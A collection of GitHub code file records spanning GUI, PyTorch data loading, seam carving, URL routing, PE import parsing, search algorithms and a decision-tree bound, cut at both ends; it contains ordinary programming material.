self.canvas)\n )\n self.text_label.bind(\n \"\",\n lambda event: parent.on_mousewheel(event, self.canvas)\n )\n\n author_label = ttk.Label(\n self,\n textvariable=response_author,\n font=\"Calibri 20 bold\",\n )\n author_label.grid(row=3, column=1)\n tag_label = ttk.Label(\n self,\n textvariable=response_tags,\n )\n tag_label.grid(row=4, column=1, sticky=\"n\")\n","repo_name":"roni-b/ohjelmistotekniikka","sub_path":"src/views/quote_text_view.py","file_name":"quote_text_view.py","file_ext":"py","file_size_in_byte":1548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39720406742","text":"import numpy as np\nimport pandas as pd\nimport torch \nfrom torch.utils.data import Dataset\n \nds = pd.read_csv('../../data/mnist/mnist_train.csv')\nprint (ds.shape)\nx = ds.values[:,1:]\ny = ds.values[:,0]\n\nclass mnist_data(Dataset):\n def __init__(self,x,y):\n self.x = x\n self.y = y\n def __len__(self):\n return x.shape[0]\n def __getitem__(self,ix):\n return (x[ix],y[ix])\n\n\ntrn_data = mnist_data(x[:50000],y[:50000])\n#print (trn_data[0])\n\nfrom torch.utils.data import DataLoader\n\ntrn_dl = DataLoader(trn_data,batch_size = 32,shuffle=True)\n\nxb,yb = next(iter(trn_dl))\nprint (xb.shape,yb.shape)\n#print (xb,yb)\n\n\n\n","repo_name":"coding-blocks-archives/deep-learning-in-pytorch","sub_path":"first/dataloaders/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"43418373877","text":"\r\nstack = []\r\npair = dict()\r\npair['('] = ')'\r\npair['['] = ']'\r\npair[')'] = '('\r\npair[']'] = '['\r\nline = input()\r\nsummary = 0\r\ntmp = 1\r\nflag = False\r\nfor i in line:\r\n if i == '(' or i == '[':\r\n stack.append(i)\r\n flag = True\r\n if i == \"(\":\r\n tmp *= 2\r\n else:\r\n tmp *= 3\r\n if i == ')' or i == ']':\r\n if len(stack) == 0 or pair[i] != stack.pop():\r\n summary = 0\r\n break\r\n else:\r\n if flag:\r\n summary += tmp\r\n flag = False\r\n if i == \")\":\r\n tmp //= 2\r\n else:\r\n tmp //= 3\r\nif len(stack) or summary == 0:\r\n print(0)\r\nelse:\r\n print(summary)\r\n","repo_name":"Guitarboyjason/Algorithm","sub_path":"백준/Silver/2504. 괄호의 값/괄호의 값.py","file_name":"괄호의 값.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"27056126151","text":"import numpy\nimport scipy\nimport cv2\nimport random\nfrom PIL import *\n\n#img = cv2.imread(\"ex1.jpg\")\n\n#clr = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n#sobelx = cv2.Sobel(clr, -1, 1, 0, ksize=3)\n#sobely = cv2.Sobel(clr, -1, 0, 1, ksize=3)\n\n\n\n\ndef seam(img, original, iters):\n \"\"\"\n new attempt using dynamic programming\n \"\"\"\n p = iters\n curr_img = img.copy()\n curr_orig = original.copy()\n new = [curr_img, curr_orig, 0]\n while p > 0:\n energy = numpy.zeros((len(new[0]), len(new[0][0])))\n\n for i in range(len(energy[0])):\n energy[0][i] = new[0][0][i]\n\n new[-1] = energy\n for j in range(1, len(new[0])):\n new[-1] = compute_energies(new[0], j, new[-1])\n\n new = remove_min_seam(new[0], new[1], new[2])\n print(new[-1])\n p -= 1\n\n return new\n\n\ndef remove_min_seam(img, original, energy):\n\n indices = []\n i = len(energy) - 1\n energy = energy.tolist()\n indices.append(energy[i].index(min(energy[i])))\n ind = indices[0]\n i -= 1\n min_list = []\n min_ind = []\n while i >= 0:\n for k in [-1, 0, 1]:\n if len(energy[0]) > k + ind >= 0:\n min_list.append(energy[i][k + ind])\n min_ind.append(k + ind)\n i -= 1\n index = min_ind[min_list.index(min(min_list))]\n ind = index\n indices.append(index)\n\n u = len(energy) - 1\n new_img = img.tolist()\n new_original = original.tolist()\n print(len(new_img), len(new_img[0]))\n print(len(new_original), len(new_original[0]))\n while len(indices) != 0:\n new_ind = indices.pop(0)\n new_img[u].pop(new_ind)\n new_original[u].pop(new_ind)\n\n energy[u].pop(new_ind)\n u -= 1\n\n energy = numpy.array(energy, dtype=int)\n img = numpy.array(new_img, dtype=int)\n original = numpy.array(new_original, dtype=int)\n\n return [img, original, energy]\n\n\n\ndef compute_energies(img, j, energy):\n\n #energy = energy.tolist()\n for i in range(len(img[j])):\n pixel_min = []\n for k in [-1, 0, 1]:\n if len(img[j]) > i + k >= 0:\n pixel_min.append(energy[j - 1][k + i])\n energy[j][i] = min(pixel_min) + img[j][i]\n print((j, i))\n\n #energy = numpy.array(energy)\n\n return energy\n\n\n\n\n\n\n\n\n\n#grad = grad.astype(numpy.uint8)\n#cv2.imshow(\"grad\", grad)\n#cv2.waitKey(0)\n\nif __name__ == \"__main__\":\n\n img = cv2.imread(\"ex1.jpg\")\n\n clr = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n sobelx = cv2.Sobel(clr, -1, 1, 0, ksize=5)\n sobely = cv2.Sobel(clr, -1, 0, 1, ksize=5)\n\n # gradient magnitude\n\n grad = numpy.zeros((len(sobelx), len(sobelx[0])))\n for i in range(len(sobelx)):\n for j in range(len(sobelx[0])):\n grad[i][j] = ((sobelx[i][j] ** 2) + (sobely[i][j] ** 2)) ** 0.5\n\n\n\n\n cupl = seam(grad, img, 471)\n cupl = seam(cv2.transpose(cupl[0]), cv2.transpose(cupl[1]), 0)\n #cupl = seam(cupl[0].T, cupl[1].T, 1)\n #cupl = seam(test, test, 1)\n\n\n originall = cv2.transpose(cupl[1])\n\n originall = originall.astype(numpy.uint8)\n cv2.imwrite(\"ex1carvedattempt2.jpg\", originall)\n\n","repo_name":"khaimkhani/cutting-corners","sub_path":"seamcarving.py","file_name":"seamcarving.py","file_ext":"py","file_size_in_byte":3118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32219010729","text":"'''\nThis file allows you to produce a set of jobs to be sent to HT Condor.\nThe jobs will be located in the 'Jobs' directory.\nAfter producing them, it is advisable to test one of the jobs locally before sending them all.\n\nExample of a local test:\n./Jobs/sub_job/sub_0.jobb\n\nSubmitting all jobs on batch:\n./sub_total.jobb\n'''\n\nimport os\nimport sys\n\n\n'''\n--------------------------OPTIONS TO BE FILLED OUT-----------------------------------------\n'''\n#If you already have a list of input files with the proper format, you may not want to remake it\n#Type True if you want to remake them, False otherwise\nmakeInputFilesList = False\n#Directory where your input root files are located\ninputFilesDir = \"/eos/cms/store/group/dpg_trigger/comm_trigger/TriggerStudiesGroup/STEAM/dbeghin/CondorTest7/\"\n\n#Directory where the top of your CMSSW release is located\ncmsswDir = \"/afs/cern.ch/work/d/dbeghin/Work/Rates/slc7_arch/CMSSW_10_1_9_patch1/src/\"\n\n#Do you wish to use the dataset/group/etc. maps? The maps are unnecessary if you're an HLT developer and you're just testing your new path rate.\n#If you don't want to use any maps, set the variable below to \"nomaps\"\n#maps = \"nomaps\" #recommended if you're an HLT dev\nmaps = \"somemaps\" #if you want dataset/group/etc. rates but no dataset merging study\n#maps = \"allmaps\" #if you want to study dataset merging\n\n#Do you wish to use any unusual (non-default) options for the job flavour, and the number of files processed per job?\n#If you do, set the following boolean to True\nisUnusual = True\n#If you do, please also specify the following parameters:\n#number of files processed per job\nn = 1\n#Job flavour\nflavour = \"espresso\"\n'''\n--------------------------OPTIONS TO BE FILLED OUT-----------------------------------------\n'''\n\n\n#run the script\ncommand = \"\"\nif makeInputFilesList:\n command = \"python condorScriptForRatesMC.py -e %s -i %s\" %(cmsswDir, inputFilesDir)\nelse:\n command = \"python condorScriptForRatesMC.py -e %s\" %cmsswDir\n\nif isUnusual:\n command += \" -n %s -q %s\" %(n, flavour)\n\ncommand += \" -m %s\" %maps\nos.system(command)\n\n\n\n\n\n\n","repo_name":"cms-steam/SteamRatesEdmWorkflow","sub_path":"Rates/config_makeCondorJobsMC.py","file_name":"config_makeCondorJobsMC.py","file_ext":"py","file_size_in_byte":2083,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"30610111035","text":"# DATE: 29/07/2022, 06:30:36\n# PROBLEM NAME: Maximise the Tastiness\n# PROBLEM URL: https://www.codechef.com/problems/MAXTASTE\n# PROBLEM DIFFICULTY RATTING: 627\n# STATUS: accepted\n# TIME: 0.02\n# MEMORY: 9.1M\n\nfor _ in range(int(input())):\r\n a, b, c, d = map(int, input().split(' '))\r\n print(max(a, b) + max(c, d))\n\n","repo_name":"Yash2003Bisht/ProblemSolutions","sub_path":"solutions/codechef/MAXTASTE/MAXTASTE_1.py","file_name":"MAXTASTE_1.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"25872983310","text":"import collections\nfrom typing import Any, Dict, List, Sequence, Tuple, Union\n\n__all__ = [\n \"RouteError\",\n \"Routes\",\n \"RouteResolved\",\n]\n\nVariablePartsType = Tuple[tuple, Tuple[str, str]]\n\n\nclass RouteError(Exception):\n \"\"\"Base error for any exception raised\"\"\"\n\n\ndef depth_of(parts: Sequence[str]) -> int:\n return len(parts) - 1\n\n\ndef normalize_url(url: str) -> str:\n if url.startswith(\"/\"):\n url = url[1:]\n\n if url.endswith(\"/\"):\n url = url[:-1]\n\n return url\n\n\ndef _unwrap(variable_parts: VariablePartsType):\n curr_parts = variable_parts\n var_any = []\n while curr_parts:\n curr_parts, (var_type, part) = curr_parts\n\n if var_type == Routes._VAR_ANY_NODE:\n var_any.append(part)\n continue\n\n if var_type == Routes._VAR_ANY_BREAK:\n if var_any:\n yield tuple(reversed(var_any))\n var_any.clear()\n\n var_any.append(part)\n continue\n\n if var_any:\n yield tuple(reversed(var_any))\n var_any.clear()\n yield part\n continue\n\n yield part\n\n if var_any:\n yield tuple(reversed(var_any))\n\n\ndef make_params(\n key_parts: Sequence[str], variable_parts: VariablePartsType\n) -> Dict[str, Union[str, Union[str, Tuple[str]]]]:\n return dict(zip(reversed(key_parts), _unwrap(variable_parts))) # type: ignore\n\n\n_Route = collections.namedtuple(\"_Route\", [\"key_parts\", \"anything\"])\n\nRouteResolved = collections.namedtuple(\"RouteResolved\", [\"params\", \"anything\"])\n\n\nclass Routes:\n _VAR_NODE = \":var\"\n _VAR_ANY_NODE = \":*var\"\n _ROUTE_NODE = \":*route\"\n _VAR_ANY_BREAK = \":*break\"\n\n def __init__(self, max_depth: int = 40) -> None:\n self._max_depth_custom = max_depth\n self._routes = {}\n self._max_depth = 0\n\n def _deconstruct_url(self, url: str) -> List[str]:\n parts = url.split(\"/\", self._max_depth + 1)\n if depth_of(parts) > self._max_depth:\n raise RouteError(\"No match\")\n return parts\n\n def _match(self, parts: Sequence[str]) -> RouteResolved:\n route_match = None\n route_variable_parts = tuple()\n to_visit = [(self._routes, tuple(), 0)]\n\n while to_visit:\n curr, curr_variable_parts, depth = to_visit.pop()\n\n try:\n part = parts[depth]\n except IndexError:\n if self._ROUTE_NODE in curr:\n route_match = curr[self._ROUTE_NODE]\n route_variable_parts = curr_variable_parts\n break\n else:\n continue\n\n if self._VAR_ANY_NODE in curr:\n to_visit.append(\n (\n {self._VAR_ANY_NODE: curr[self._VAR_ANY_NODE]},\n (curr_variable_parts, (self._VAR_ANY_NODE, part)),\n depth + 1, # type: ignore\n )\n )\n to_visit.append(\n (\n curr[self._VAR_ANY_NODE],\n (curr_variable_parts, (self._VAR_ANY_BREAK, part)),\n depth + 1, # type: ignore\n )\n )\n\n if self._VAR_NODE in curr:\n to_visit.append(\n (\n curr[self._VAR_NODE],\n (curr_variable_parts, (self._VAR_NODE, part)),\n depth + 1, # type: ignore\n )\n )\n\n if part in curr:\n to_visit.append((curr[part], curr_variable_parts, depth + 1)) # type: ignore\n\n if not route_match:\n raise RouteError(\"No match\")\n\n return RouteResolved(\n params=make_params(\n key_parts=route_match.key_parts, variable_parts=route_variable_parts # type: ignore\n ),\n anything=route_match.anything,\n )\n\n def match(self, url: str) -> RouteResolved:\n url = normalize_url(url)\n parts = self._deconstruct_url(url)\n return self._match(parts)\n\n def add(self, url: str, anything: Any) -> None:\n url = normalize_url(url)\n parts = url.split(\"/\")\n curr_partial_routes = self._routes\n curr_key_parts = []\n\n for part in parts:\n if part.startswith(\":*\"):\n curr_key_parts.append(part[2:])\n part = self._VAR_ANY_NODE\n self._max_depth = self._max_depth_custom\n\n elif part.startswith(\":\"):\n curr_key_parts.append(part[1:])\n part = self._VAR_NODE\n\n curr_partial_routes = curr_partial_routes.setdefault(part, {})\n\n curr_partial_routes[self._ROUTE_NODE] = _Route(\n key_parts=curr_key_parts, anything=anything\n )\n\n self._max_depth = max(self._max_depth, depth_of(parts))\n","repo_name":"vkolev/aioapi","sub_path":"aioapi/routing/url_routing.py","file_name":"url_routing.py","file_ext":"py","file_size_in_byte":4928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70304750546","text":"#!/usr/bin/python3\nimport namedstruct\nimport pathlib\n\ndos_magic = b'MZ'\nstruct_dos_header = namedstruct.namedstruct( 'DOS header', '<'\n '2s:dos_magic '\n 'h:lastsize '\n 'h:nblocks '\n 'h:nreloc '\n 'h:hdrsize '\n 'h:minalloc '\n 'h:maxalloc '\n 'H:ss '\n 'H:sp '\n 'h:checksum '\n 'H:ip '\n 'H:cs '\n 'h:relocpos '\n 'h:noverlay '\n '4H:reserved1 '\n 'h:oem_id '\n 'h:oem_info '\n '10H:reserved2 '\n 'L:pe_offset'\n )\n\npe_magic = b'PE\\x00\\x00'\nstruct_pe_header = namedstruct.namedstruct( 'PE Header', '<'\n '4s:pe_magic'\n )\n\nstruct_coff_header = namedstruct.namedstruct( 'COFF Header', '<'\n 'H:Machine '\n 'h:NumberOfSections '\n 'l:TimeDateStamp '\n 'l:PointerToSymbolTable '\n 'l:NumberOfSymbols '\n 'h:SizeOfOptionalHeader '\n 'h:Characteristics '\n )\n\nstruct_pe_opt_signature = namedstruct.namedstruct( 'PE signature', '<'\n 'H:signature '\n )\npe32_signature = 0x10b\npe64_signature = 0x20b\n\nstruct_pe32_opt_header = namedstruct.namedstruct( 'PE 32 Opt Header', '<'\n 'H:signature '\n 'B:MajorLinkerVersion '\n 'B:MinorLinkerVersion '\n 'L:SizeOfCode '\n 'L:SizeOfInitializedData '\n 'L:SizeOfUninitializedData '\n 'L:AddressOfEntryPoint '\n 'L:BaseOfCode '\n 'L:BaseOfData '\n 'L:ImageBase '\n 'L:SectionAlignment '\n 'L:FileAlignment '\n 'H:MajorOSVersion '\n 'H:MinorOSVersion '\n 'H:MajorImageVersion '\n 'H:MinorImageVersion '\n 'H:MajorSubsystemVersion '\n 'H:MinorSubsystemVersion '\n 'L:Reserved '\n 'L:SizeOfImage '\n 'L:SizeOfHeaders '\n 'L:Checksum '\n 'H:Subsystem '\n 'H:DLLCharacteristics '\n 'L:SizeOfStackReserve '\n 'L:SizeOfStackCommit '\n 'L:SizeOfHeapReserve '\n 'L:SizeOfHeapCommit '\n 'L:LoaderFlags '\n 'L:NumberOfRvaAndSizes'\n #data_directory DataDirectory[16];\n )\n\nstruct_pe64_opt_header = namedstruct.namedstruct( 'PE 64 Opt Header', '<'\n 'H:signature '\n 'B:MajorLinkerVersion '\n 'B:MinorLinkerVersion '\n 'L:SizeOfCode '\n 'L:SizeOfInitializedData '\n 'L:SizeOfUninitializedData '\n 'L:AddressOfEntryPoint '\n 'L:BaseOfCode '\n 'Q:ImageBase '\n 'L:SectionAlignment '\n 'L:FileAlignment '\n 'H:MajorOSVersion '\n 'H:MinorOSVersion '\n 'H:MajorImageVersion '\n 'H:MinorImageVersion '\n 'H:MajorSubsystemVersion '\n 'H:MinorSubsystemVersion '\n 'L:Reserved '\n 'L:SizeOfImage '\n 'L:SizeOfHeaders '\n 'L:Checksum '\n 'H:Subsystem '\n 'H:DLLCharacteristics '\n 'Q:SizeOfStackReserve '\n 'Q:SizeOfStackCommit '\n 'Q:SizeOfHeapReserve '\n 'Q:SizeOfHeapCommit '\n 'L:LoaderFlags '\n 'L:NumberOfRvaAndSizes'\n #data_directory DataDirectory[16];\n )\n\nIMAGE_DIRECTORY_ENTRY_IMPORT = 1\nstruct_pe_data_dir = namedstruct.namedstruct( 'PE Data directory', '<'\n 'L:VirtualAddress '\n 'L:Size'\n )\n\nstruct_coff_section = namedstruct.namedstruct( 'COFF Section', '<'\n '8s:Name '\n 'L:VirtualSize '\n 'L:VirtualAddress '\n 'L:SizeOfRawData '\n 'L:PointerToRawData '\n 'L:PointerToRelocations '\n 'L:PointerToLinenumbers '\n 'H:NumberOfRelocations '\n 'H:NumberOfLinenumbers '\n 'L:Characteristics '\n )\n\nstruct_import_dirent = namedstruct.namedstruct( 'Import directory entry', '<'\n 'L:ImportLookupTable '\n 'L:TimeDateStamp '\n 'L:ForwarderChain '\n 'L:NameRVA '\n 'L:ImportAddressTable'\n )\n\n\ndef getPeImportDlls( log, filename ):\n with filename.open( 'rb' ) as f:\n pe_image = f.read()\n\n dos_header = struct_dos_header.unpack( pe_image[0:len(struct_dos_header)] )\n log.debug( 'dos_header.dos_magic %r .pe_offset %r' % (dos_header.dos_magic, dos_header.pe_offset) )\n if dos_header.dos_magic != dos_magic:\n log.error( 'Not a PE image, bad dos magic %r in %s' % (dos_header.dos_magic, filename) )\n dos_header.dump( log.error )\n return set()\n\n pe_start = dos_header.pe_offset\n\n pe_header= struct_pe_header.unpack( pe_image[pe_start:pe_start+len(struct_pe_header)] )\n log.debug( 'pe_header.pe_magic %r' % (pe_header.pe_magic,) )\n if pe_header.pe_magic != pe_magic:\n log.error( 'Not a PE image, bad PE magic %r in %s' % (pe_header.pe_magic, filename) )\n log.error( 'DOS header' )\n dos_header.dump( log.error )\n log.error( 'PE header' )\n pe_header.dump( log.error )\n return set()\n\n coff_start = pe_start + len(struct_pe_header)\n\n coff_header = struct_coff_header.unpack( pe_image[coff_start:coff_start+len(struct_coff_header)] )\n log.debug( 'COFF header @ 0x%8.8x' % (coff_start,) )\n coff_header.dump( log.debug )\n\n pe_opt_start = coff_start + len(struct_coff_header)\n\n pe_opt_signature = struct_pe_opt_signature.unpack( pe_image[pe_opt_start:pe_opt_start+len(struct_pe_opt_signature)] )\n if pe_opt_signature.signature == pe32_signature:\n struct_pe_opt_header = struct_pe32_opt_header\n\n elif pe_opt_signature.signature == pe64_signature:\n struct_pe_opt_header = struct_pe64_opt_header\n\n else:\n log.error( 'Unknown PE optional header signature of 0x4.4x' % (pe_opt_signature.signature,) )\n return set()\n\n pe_opt_header = struct_pe_opt_header.unpack( pe_image[pe_opt_start:pe_opt_start+len(struct_pe_opt_header)] )\n\n log.debug( 'PE Opt header @ 0x%8.8x' % (pe_opt_start,) )\n pe_opt_header.dump( log.debug )\n\n # Decode the Data Directories\n data_dir_0_start = pe_opt_start + len(struct_pe_opt_header)\n\n all_data_dir = []\n\n for index in range( pe_opt_header.NumberOfRvaAndSizes ):\n data_dir_start = data_dir_0_start + len(struct_pe_data_dir)*index\n\n pe_data_dir= struct_pe_data_dir.unpack( pe_image[data_dir_start:data_dir_start+len(struct_pe_data_dir)] )\n\n log.debug( 'Data Dir %d @ 0x%8.8x' % (index, data_dir_start) )\n pe_data_dir.dump( log.debug )\n\n all_data_dir.append( pe_data_dir )\n\n # Decode the COFF Sections\n section_0_start = data_dir_0_start + pe_opt_header.NumberOfRvaAndSizes * len(struct_pe_data_dir)\n\n all_coff_sections = []\n for index in range( coff_header.NumberOfSections ):\n section_start = section_0_start + index * len(struct_coff_section)\n coff_section = struct_coff_section.unpack( pe_image[section_start:section_start+len(struct_coff_section)] )\n\n log.debug( 'Section %d @ 0x%8.8x' % (index, section_start) )\n coff_section.dump( log.debug )\n\n all_coff_sections.append( coff_section )\n\n # convert a RVA to the offset in the disk image\n def rvaToDisk( addr ):\n for section in all_coff_sections:\n if section.VirtualAddress <= addr < (section.VirtualAddress + section.VirtualSize):\n offset = addr - section.VirtualAddress\n return section.PointerToRawData + offset\n\n raise ValueError( 'RVA 0x%8.8x is not within any COFF section in file %s' % (addr, filename) )\n\n end = section_0_start + coff_header.NumberOfSections * len(struct_coff_section)\n\n log.debug( 'Decode @ 0x%8.8x' % (end,) )\n\n import_data_dir = all_data_dir[ IMAGE_DIRECTORY_ENTRY_IMPORT ]\n log.debug( 'import_data_dir %r' % (import_data_dir,) )\n import_data_dir.dump( log.debug )\n\n if import_data_dir.Size == 0:\n log.debug( 'Empty import list' )\n return set()\n\n start_import_data_dir = rvaToDisk( import_data_dir.VirtualAddress )\n\n log.debug( 'import data 0x%8.8x' % (start_import_data_dir,) )\n\n def unpackString( addr ):\n start = addr\n for i in range( 256 ):\n if pe_image[start+i] == 0:\n break\n\n return pe_image[start:start+i]\n\n all_dlls = set()\n\n while True:\n import_dirent = struct_import_dirent.unpack( pe_image[start_import_data_dir:start_import_data_dir+len(struct_import_dirent)] )\n log.debug( 'Import dirent @ 0x%8.8x' % (start_import_data_dir,) )\n import_dirent.dump( log.debug )\n if import_dirent.ImportLookupTable == 0:\n break\n\n start_name = rvaToDisk( import_dirent.NameRVA )\n name = unpackString( start_name )\n log.debug( 'Name @ 0x%8.8x %r' % (start_name, name) )\n\n all_dlls.add( pathlib.Path( name.decode('ASCII' ) ) )\n\n start_import_data_dir += len(struct_import_dirent)\n\n log.debug( 'OK for %s' % (filename,) )\n\n return all_dlls\n\nif __name__ == '__main__':\n class log:\n def info( self, m ):\n print( 'Info: %s' % (m,) )\n\n def debug( self, m ):\n print( 'Debug: %s' % (m,) )\n\n def verbose( self, m ):\n print( 'Verbose: %s' % (m,) )\n\n def error( self, m ):\n print( 'Error: %s' % (m,) )\n\n print( getPeImportDlls( log(), pathlib.Path( r'C:\\python36.win64\\python3.dll' ) ) )\n","repo_name":"barry-scott/PythonWinAppPackager","sub_path":"win_app_packager/win_app_package_win_pe_info.py","file_name":"win_app_package_win_pe_info.py","file_ext":"py","file_size_in_byte":8679,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"26200845952","text":"import pandas as pd\nimport dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport plotly.express as px\n\n\n\ndf = pd.read_csv(\"crossover3.csv\",index_col=False)\ndf =df.sort_values(by=['cross_over_date_strong'],ascending=False).head(10)\n\ncolors = {\n 'background': '#111111',\n 'text': '#7FDBFF'\n}\n\ndef genrate_table(dataFrame,max_rows=10):\n return html.Table([\n html.Thead(\n html.Tr([html.Th(col) for col in dataFrame.columns])\n ),\n html.Tbody([\n html.Tr([\n html.Td(dataFrame.iloc[i][col]) for col in dataFrame.columns\n ])for i in range(min(len(dataFrame),max_rows))\n ])\n ])\n \napp = dash.Dash(__name__)\nserver = app.server\napp.layout = html.Div(children=\n\t[html.H1(children=\"Techincal Indicator\",style={\n 'textAlign': 'center',\n 'color': colors['text'],\n 'backgroundColor': colors['background']\n }),\n genrate_table(df)\n\n\n\n\t]\n\n\n\t)\n\n\nif __name__ == '__main__':\n\tapp.run_server(debug=True)\n","repo_name":"jaythedon/stock-dash-app-jay-","sub_path":"stockReport.py","file_name":"stockReport.py","file_ext":"py","file_size_in_byte":1176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"20517341254","text":"import heapq\nfrom node import Node\n\n\nclass PriorityQueue:\n def __init__(self, items=(), priority_function=(lambda x: x)):\n self.priority_function = priority_function\n self.pqueue = []\n # add the items to the PQ\n for item in items:\n self.add(item)\n\n \"\"\" \n Add item to PQ with priority-value given by call to priority_function \n \"\"\"\n\n def add(self, item):\n pair = (self.priority_function(item), item)\n heapq.heappush(self.pqueue, pair)\n\n \"\"\" \n pop and return item from PQ with min priority-value\n \"\"\"\n\n def pop(self):\n return heapq.heappop(self.pqueue)[1]\n\n \"\"\" gets number of items in PQ \"\"\"\n\n def __len__(self):\n return len(self.pqueue)\n\n\ndef expand(problem, node):\n s = node.state\n children = []\n for action in problem.actions(s):\n newState = problem.result(s, action)\n cost = node.path_cost + problem.action_cost(s, action, newState)\n children.append(Node(newState, node, action, cost))\n return children\n\n\ndef get_path_actions(node):\n path_actions = []\n if node is None:\n return []\n elif node.parent_node is None:\n return []\n else:\n while node.parent_node is not None:\n path_actions.insert(0, node.action_from_parent)\n node = node.parent_node\n return path_actions\n\n\ndef get_path_states(node):\n status = []\n if node is None:\n return []\n else:\n while node.parent_node is not None:\n status.insert(0, node.state)\n node = node.parent_node\n status.insert(0, node.state)\n return status\n\n\ndef best_first_search(problem, f):\n node = Node(problem.initial_state)\n frontier = PriorityQueue([node], priority_function=f)\n reached = {problem.initial_state: node}\n while frontier:\n front_node = frontier.pop()\n if problem.is_goal(front_node.state):\n return front_node\n for child in expand(problem, front_node):\n s = child.state\n if (s not in reached.keys()) or child.path_cost < reached[s].path_cost:\n reached[s] = child\n frontier.add(child)\n return None\n\n\ndef best_first_search_treelike(problem, f):\n node = Node(state=problem.initial_state)\n frontier = PriorityQueue([node], priority_function=f)\n while frontier:\n node = frontier.pop()\n if problem.is_goal(node.state):\n return node\n for child in expand(problem, node):\n frontier.add(child)\n return None\n\n\ndef breadth_first_search(problem, treelike=False):\n if treelike:\n return best_first_search_treelike(problem, lambda Node: Node.depth)\n else:\n return best_first_search(problem, lambda Node: Node.depth)\n\n\ndef depth_first_search(problem, treelike=False):\n if treelike:\n return best_first_search_treelike(problem, f=lambda Node: -Node.depth)\n else:\n return best_first_search(problem, f=lambda Node: -Node.depth)\n\n\ndef uniform_cost_search(problem, treelike=False):\n if treelike:\n return best_first_search_treelike(problem, f=lambda Node: Node.path_cost)\n else:\n return best_first_search(problem, f=lambda Node: Node.path_cost)\n\n\ndef greedy_search(problem, h, treelike=False):\n if treelike:\n return best_first_search_treelike(problem, f=lambda node: h(node))\n else:\n return best_first_search(problem, f=lambda node: h(node))\n\n\ndef astar_search(problem, h, treelike=False):\n if treelike:\n return best_first_search_treelike(problem, f=lambda node: h(node) + node.path_cost)\n else:\n return best_first_search(problem, f=lambda node: h(node) + node.path_cost)","repo_name":"Ahmedbaaqeel/AI-Search-Algorithms","sub_path":"search_algorithms.py","file_name":"search_algorithms.py","file_ext":"py","file_size_in_byte":3700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73121297104","text":"from friendships.models import Friendship\n\n\nclass FriendshipService(object):\n\n @classmethod\n def get_followers(cls, user):\n '''\n wrong version 1\n It will lead N + 1 Queries\n filter out all the friendship is 1 query\n FOR loop to get all the from_user will cost N queries\n NEVER USE FOR LOOP TO DO QUERY!\n '''\n # friendships = Friendship.objects.filter(to_user = user)\n # return [friendship.from_user for friendship in friendships]\n\n '''\n wrong version 2\n It will create JOIN statement, \n \n FROM `friendships_friendship` \n LEFT OUTER JOIN `auth_user` T3 \n ON (`friendships_friendship`.`from_user_id` = T3.`id`) \n \n JOIN statement is not allowed in large web system because it will become really slow\n '''\n # friendships = Friendship.objects.filter(\n # to_user = user\n # ).select_related('from_user')\n # return [friendship.from_user for friendship in friendships]\n\n '''\n correct version 1\n get user_id first\n use IN QUERY\n \n FROM `auth_user` \n WHERE `auth_user`.`id` IN (4, 3, 5)\n \n '''\n # friendships = Friendship.objects.filter(to_user=user)\n # follower_ids = [friendship.from_user_id for friendship in friendships]\n # followers = User.objects.filter(id__in=follower_ids)\n #return followers\n\n # queries that are executed is exactly same as correct version 1\n friendships = Friendship.objects.filter(\n to_user = user\n ).prefetch_related('from_user')\n return [friendship.from_user for friendship in friendships]\n\n","repo_name":"LiquanLuo/django-twitter","sub_path":"friendships/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33451934571","text":"from scipy.special import binom, factorial\nfrom sympy.functions.combinatorial.numbers import stirling\nfrom sympy.functions.combinatorial.factorials import ff\nfrom copy import copy\n\n\nclass PartitioningFunctionUpperBound:\n \"\"\"\n This class computes the partioning function upper bound of Theorem 9 of the paper 'Decision trees as partitioning machines to characterize their generalization properties' by Leboeuf, LeBlanc and Marchand (2020).\n\n It implements an optimized version of the algorithm 1 of Appendix D by avoiding to compute the same value for the same subtree structures inside the tree multiple times by storing already computed values.\n \"\"\"\n def __init__(self, tree, n_features, pre_computed_tables=None, loose=False):\n \"\"\"\n Args:\n tree (Tree object): Tree structure for which to compute the bound.\n\n n_features (int): Number of real-valued features. Corresponds to the variable '\\ell' in the paper.\n\n pre_computed_tables (Union[dict, None]): If the upper bound has already been computed for another tree, the computed tables of the PartitioningFunctionUpperBound object can be transfered here to speed up the process for current tree. The transfered table will be updated with any new value computed. If None, a table will be created from scratch. One can get the computed table by accessing the 'pfub_table' attribute.\n\n loose (bool): If loose is True, a looser but *much more* computationally efficient version of the bound is computed. In that case, no table is needed. This is the bound used in the experiments, as explained in section 6.2.\n \"\"\"\n self.tree = tree\n self.n_features = n_features\n self.pfub_table = {} if pre_computed_tables is None else pre_computed_tables\n self.loose = loose\n\n def _compute_upper_bound_tight(self, tree, n_parts, n_examples, n_features):\n \"\"\"\n Optimized implementation of Algorithm 1 of Appendix D of the paper.\n \"\"\"\n c, m, l = n_parts, n_examples, n_features\n\n if c > m or c > tree.n_leaves:\n return 0\n elif c == m or c == 1 or m == 1:\n return 1\n elif m <= tree.n_leaves:\n return stirling(m, c)\n # Modification 1: Check first in the table if value is already computed.\n if tree not in self.pfub_table:\n 